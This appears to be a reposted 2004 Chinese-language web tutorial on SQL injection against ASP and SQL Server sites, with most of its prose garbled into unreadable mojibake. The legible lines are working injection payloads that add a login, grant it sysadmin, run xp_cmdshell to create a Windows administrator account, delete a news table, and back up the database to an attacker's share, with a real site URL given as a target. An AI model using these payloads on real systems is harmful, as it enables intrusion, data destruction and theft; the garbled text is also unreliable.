����λ�ã���ҳ���������������ݿⰲȫ�� SQL���ݿ��һЩ����

SQL���ݿ��һЩ����

ʱ�䣺2004/12/2 1:57:00��Դ����վ�������ߣ�������Ҫ����(0)

SQL ���ݿ���һЩ����

ת�أ�inburst�����룩

��Դ��Hectic



SQL ���ݿ���һЩ����



Hectic





���� ���ݿ��ļ����ֺ������ƻ�����������������





���ڹ�����ĺܶ����ţ�BBS�� ����������վ������ASP+SQL��ƣ���д ASP�ij���Ա�ܶࣨ�кܶ�ոձ�ҵ�ģ������ԣ�ASP+SQL�Ĺ����ɹ���Ҳ�Ƚϸߡ����๥��������NT�İ汾��SQL�İ汾û�ж��Ĺ�ϵ��Ҳû����Ӧ�IJ�������Ϊ©���dz���Ա�Լ���ɵģ����Ҵ��������ASP��̵����ϣ�Դ�������Ӿ������©�����ڣ���ʵֻ��һЩ�Ϸ���ASP��SQL���������º����

���ֹ�����������Դ��'or'1'='1��©�����������ҳ���Ϊ©���������©����ԭ����������ö�֪���ˣ���ô��֮�����ı���;exec sp_addlogin hax���� ���ݿ������һ��hax�û���������������������ƺܴ�����ASPʹ�õ�SQL Server�˺��Ǹ�����Ա�����������ύ����������SQL���������Ϊ��һЩ����Ա����SELECT * FROM news WHERE id=... AND topic=... AND ..... ���ַ������� ���ݿ�����ô����������ϵ����Ӿͻ�news.asp?id=2;exec sp_addlogin hax

���SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...

����SQL�����ִ��sp_addlogin�� �洢��������AND���жϴ��ڣ��﷨�������sp_addlogin��ȻҲ�������������ˣ�������Կ������������

news.asp?id=2;exec sp_addlogin hax;--

�����--���Ű�sp_addlogin����ж��������ע�ͣ������Ͳ������﷨�����ˣ�sp_addlogin����ִ�У�

��ô������һ�����ð�

news.asp?id=2;exec master.dbo.sp_addlogin hax;--

news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--

news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--

news.asp?id=2;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes



/active:yes /add';--

news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--

�������������� ���ݿ���ϵͳ�ڶ�������hax����Ա�˺���

��Ȼ��ǰ��������ASP�ù���Ա�˺ţ���������ռ��Ҿͱ����ˣ�����������©���ġ�

�Ժ����ǻ����ۣ�����Է���ASP������SQL����Ա�˺ţ�����������֣���ȻҲ���漰��1433�˿ڵ�����

��Ȼ��ҿ������Կ���id=2�������һ��'���ţ���Ҫ���Է���ASP��ôд��





��˵˵��ASP����ʹ�õ�SQL�˺Ų��ǹ���Ա��ʱ�����Ǹ��������

���������ŵ���ҳ�����������ݣ����£�

http://www.talentit.com.cn/news/news-2.asp?newid=117

��ҿ������Կ�http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;--

�Ǻǣ����﷨����select 123�����Զ��׼��������µ�ASP��newid����������'�Ž���

��ô���Կ�http://www.talentit.com.cn/news/news-2.asp?newid=117';delete news;--

����������ֻҪ�����¶��ˣ����ſ�ͱ�ɾ��



ͨ��ASP�õ�SQL�˺ž��㲻�ǹ���ԱҲ����ij�� ���ݿ���owner,���ٶ���������кܸߵĹ���Ȩ��

�������Dz�֪����������ô������db_name()������

�����query analyzer������print db_name() ���Ǻǣ���ǰ�� ���ݿ����ͳ�����

�Դ����ƣ����£� declare @a sysname;set @a=db_name();backup database @a to disk='���IP��Ĺ���Ŀ¼bak.dat' ,name='test';--

�Ǻǣ����ĵ�ǰ ���ݿ��ͱ��ݵ����Ӳ�����ˣ�������Ҫ���Ĵ�����ﶼ�����˰�

ͬ��������������ҵ��Է���SQL��IP

��װһ������ǽ����ICMP��139TCP��445TCP�ľ�����ʾ

Ȼ�����Կ�news.asp?id=2;exec master.dbo.xp_cmdshell 'ping ���IP'

�������ǽ��ʾ����ping�㣬��ô��ÿ��Կ϶��Է���ASP�õ���SQL�Ĺ���ԱȨ�ޣ�ͬʱҲȷ���˶Է���SQL Server��׼ȷλ�ã���Ϊ�ܶ��



һ�����վ�������ܣ����web����� ���ݿ��ֿ������Է������˲���������Դ����ʱ������ֻ����������ܺܿ�Ķ�λ�Է���SQL Server��λ����

��ô������Է�ASPû��SQL����ԱȨ�ޣ����ǾͲ��ܵ���xp_cmdshell�ˣ�����ô�죿

���ż������Կ����news.asp?id=2;declare @a;set @a=db_name();backup database @a to disk='���IP��Ĺ���Ŀ¼bak.dat'



,name='test';--

�Ǻǣ���ķ���ǽ�÷��������ˣ������������445��139(win9�˿��ˣ��������Է���SQL��ipһ��Ҳ���Ա�¶

��ô����Է���ij�� ���ݿ���ownerҲ���ǵĻ������Ǹ���ô�죿�´��һ���ߴ��һ�����õİ취��

��ʵbackuo database�����Ӳ�̻����е�����ˣ�����Է� ���ݿ����Ӵ������Dz����������Ǻǣ�Ȱ������ˣ����ѳɹ������

�´����ǻ���̸�����ƭ��IDSִ��ASP+SQL����

Ŀǰ��Щ�õ�IDS�Ѿ���ʼ����xp_cmdshell��Щ�ؼ�����

�ðɣ�ͬ־���´μ�





��������urlϣ�����ͨ��vbscript�ύ����Ϊ ������ĵ�ַ��������һЩ�����ַ��������������Ͳ�������������

window.location.herf=URL



���䣺���������ǰ������Ҳ�������������ֻ��һЩ��xp_cmdshell�������ƺܴ���ʵ�����滹�кܶ�ֵ������ĵط�����www.guosen.com.cn������֤�����������⣬�������Dz���ms������ṹ��������ǰ˵��xp_cmdshell�����Ͳ����ˣ��ַ����ᱻ���ˣ������ҳ����ˣ���sql������������Ȼ�����ڶԷ��Ļ����Ͽ���telnet�����administrators����˺ţ����ڶԷ�����ǽ����checkpoint���ݱ�������ֻ����80�˿���ˣ�Ҫ�������� ���ݿ��ṹ�Ƚ������ˣ����ǻ����а취���������ģ�P

˳�����Ѵ��ע��һ�¹���sqloledb,db_name,openrowset,opendatasource��Щϵͳ������asp��sqlserver�˺�ֻ��һ����ͨ�û�ʱ�����ǻ�����õģ�

����Ķ�Windows��������ȫ Windows��������ѯ����windows��ʲô��Mac QQ��Windows QQ�����¼��ô�ϲ� Mac QQ��Windows QQ�����¼Windows 10�Զ�������ô�ر� ��ιر�Windows 10�Զ�����windows 10 rs4����Ԥ����17017���ش�������Win10�＾�����߸���16291������ʲô win10 16291��������windows10�＾�����߸���ʱ�� windows10�＾�����߸�������kb3150513����������ʲô Windows 10����kb3150513��ʲô

��������

�鿴����0������>>

��������

����˵����...

�ύ����